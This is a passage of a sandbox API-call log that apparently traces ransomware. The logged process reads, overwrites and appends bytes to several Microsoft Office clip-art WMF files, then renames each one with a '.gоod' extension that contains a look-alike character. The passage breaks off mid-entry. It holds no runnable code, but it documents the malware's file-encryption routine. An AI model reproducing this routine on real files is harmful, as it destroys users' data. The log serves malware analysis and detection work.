[0231.772] WriteFile (in: hFile=0x82c, lpBuffer=0x3853078*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3853078*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0231.772] CloseHandle (hObject=0x82c) returned 1 [0231.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", lpFilePart=0x0) returned 0x44 [0231.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0231.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0231.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865b4fe5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x333e)) returned 1 [0231.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0231.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.gоod")) returned 1 [0231.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", lpFilePart=0x0) returned 0x44 [0231.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0231.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38d1c88 | out: lpFileInformation=0x38d1c88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa)) returned 1 [0234.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0235.666] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", lpFilePart=0x0) returned 0x44 [0235.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0235.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0235.677] GetFileType (hFile=0x768) returned 0x1 [0235.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0235.785] GetFileType (hFile=0x768) returned 0x1 [0235.785] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0235.785] ReadFile (in: hFile=0x768, lpBuffer=0x38fcc00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38fcc00*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0235.786] CloseHandle (hObject=0x768) returned 1 [0235.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", lpFilePart=0x0) returned 0x44 [0235.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0235.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0235.787] GetFileType (hFile=0x768) returned 0x1 [0235.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0235.787] GetFileType (hFile=0x768) returned 0x1 [0235.787] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x69aa [0235.787] WriteFile (in: hFile=0x768, lpBuffer=0x38fdec8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38fdec8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0235.788] CloseHandle (hObject=0x768) returned 1 [0235.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", lpFilePart=0x0) returned 0x44 [0235.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0235.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0235.788] GetFileType (hFile=0x768) returned 0x1 [0235.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0235.788] GetFileType (hFile=0x768) returned 0x1 [0235.788] ReadFile (in: hFile=0x768, lpBuffer=0x3900188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3900188*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0235.816] CloseHandle (hObject=0x768) returned 1 [0235.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", lpFilePart=0x0) returned 0x44 [0235.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0235.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0235.816] GetFileType (hFile=0x768) returned 0x1 [0235.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0235.817] GetFileType (hFile=0x768) returned 0x1 [0235.817] WriteFile (in: hFile=0x768, lpBuffer=0x38feee0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x38feee0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0235.817] CloseHandle (hObject=0x768) returned 1 [0235.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", lpFilePart=0x0) returned 0x44 [0235.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0235.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0235.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88c579c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x69ba)) returned 1 [0235.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0235.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.gоod")) returned 1 [0235.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", lpFilePart=0x0) returned 0x44 [0235.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0235.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x397c578 | out: lpFileInformation=0x397c578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54)) returned 1 [0235.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0235.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", lpFilePart=0x0) returned 0x44 [0235.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0235.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0235.820] GetFileType (hFile=0x768) returned 0x1 [0235.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0235.820] GetFileType (hFile=0x768) returned 0x1 [0235.820] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0235.820] ReadFile (in: hFile=0x768, lpBuffer=0x397c990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x397c990*, lpNumberOfBytesRead=0x1faedd28*=0xb54, lpOverlapped=0x0) returned 1 [0238.310] CloseHandle (hObject=0x768) returned 1 [0238.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", lpFilePart=0x0) returned 0x44 [0238.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.310] GetFileType (hFile=0x768) returned 0x1 [0238.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.311] GetFileType (hFile=0x768) returned 0x1 [0238.311] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1b54 [0238.311] WriteFile (in: hFile=0x768, lpBuffer=0x37c9d70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37c9d70*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0238.311] CloseHandle (hObject=0x768) returned 1 [0238.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", lpFilePart=0x0) returned 0x44 [0238.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.311] GetFileType (hFile=0x768) returned 0x1 [0238.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.311] GetFileType (hFile=0x768) returned 0x1 [0238.311] ReadFile (in: hFile=0x768, lpBuffer=0x37cc030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37cc030*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0238.339] CloseHandle (hObject=0x768) returned 1 [0238.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", lpFilePart=0x0) returned 0x44 [0238.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.339] GetFileType (hFile=0x768) returned 0x1 [0238.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.339] GetFileType (hFile=0x768) returned 0x1 [0238.339] WriteFile (in: hFile=0x768, lpBuffer=0x37cad88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37cad88*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0238.340] CloseHandle (hObject=0x768) returned 1 [0238.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", lpFilePart=0x0) returned 0x44 [0238.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0238.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0238.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8a4556f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b64)) returned 1 [0238.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0238.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.gоod")) returned 1 [0238.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", lpFilePart=0x0) returned 0x44 [0238.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0238.342] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3849470 | out: lpFileInformation=0x3849470*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576)) returned 1 [0238.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0238.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", lpFilePart=0x0) returned 0x44 [0238.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.343] GetFileType (hFile=0x768) returned 0x1 [0238.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.343] GetFileType (hFile=0x768) returned 0x1 [0238.343] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0238.343] ReadFile (in: hFile=0x768, lpBuffer=0x3849888, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3849888*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0238.467] CloseHandle (hObject=0x768) returned 1 [0238.467] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", lpFilePart=0x0) returned 0x44 [0238.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.467] GetFileType (hFile=0x768) returned 0x1 [0238.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.467] GetFileType (hFile=0x768) returned 0x1 [0238.467] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2576 [0238.468] WriteFile (in: hFile=0x768, lpBuffer=0x36abb80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x36abb80*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0238.468] CloseHandle (hObject=0x768) returned 1 [0238.469] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", lpFilePart=0x0) returned 0x44 [0238.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.469] GetFileType (hFile=0x768) returned 0x1 [0238.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.469] GetFileType (hFile=0x768) returned 0x1 [0238.469] ReadFile (in: hFile=0x768, lpBuffer=0x36ade40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36ade40*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0238.499] CloseHandle (hObject=0x768) returned 1 [0238.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", lpFilePart=0x0) returned 0x44 [0238.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.499] GetFileType (hFile=0x768) returned 0x1 [0238.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.499] GetFileType (hFile=0x768) returned 0x1 [0238.499] WriteFile (in: hFile=0x768, lpBuffer=0x36acb98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36acb98*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0238.499] CloseHandle (hObject=0x768) returned 1 [0238.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", lpFilePart=0x0) returned 0x44 [0238.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.gоod", lpFilePart=0x0) returned 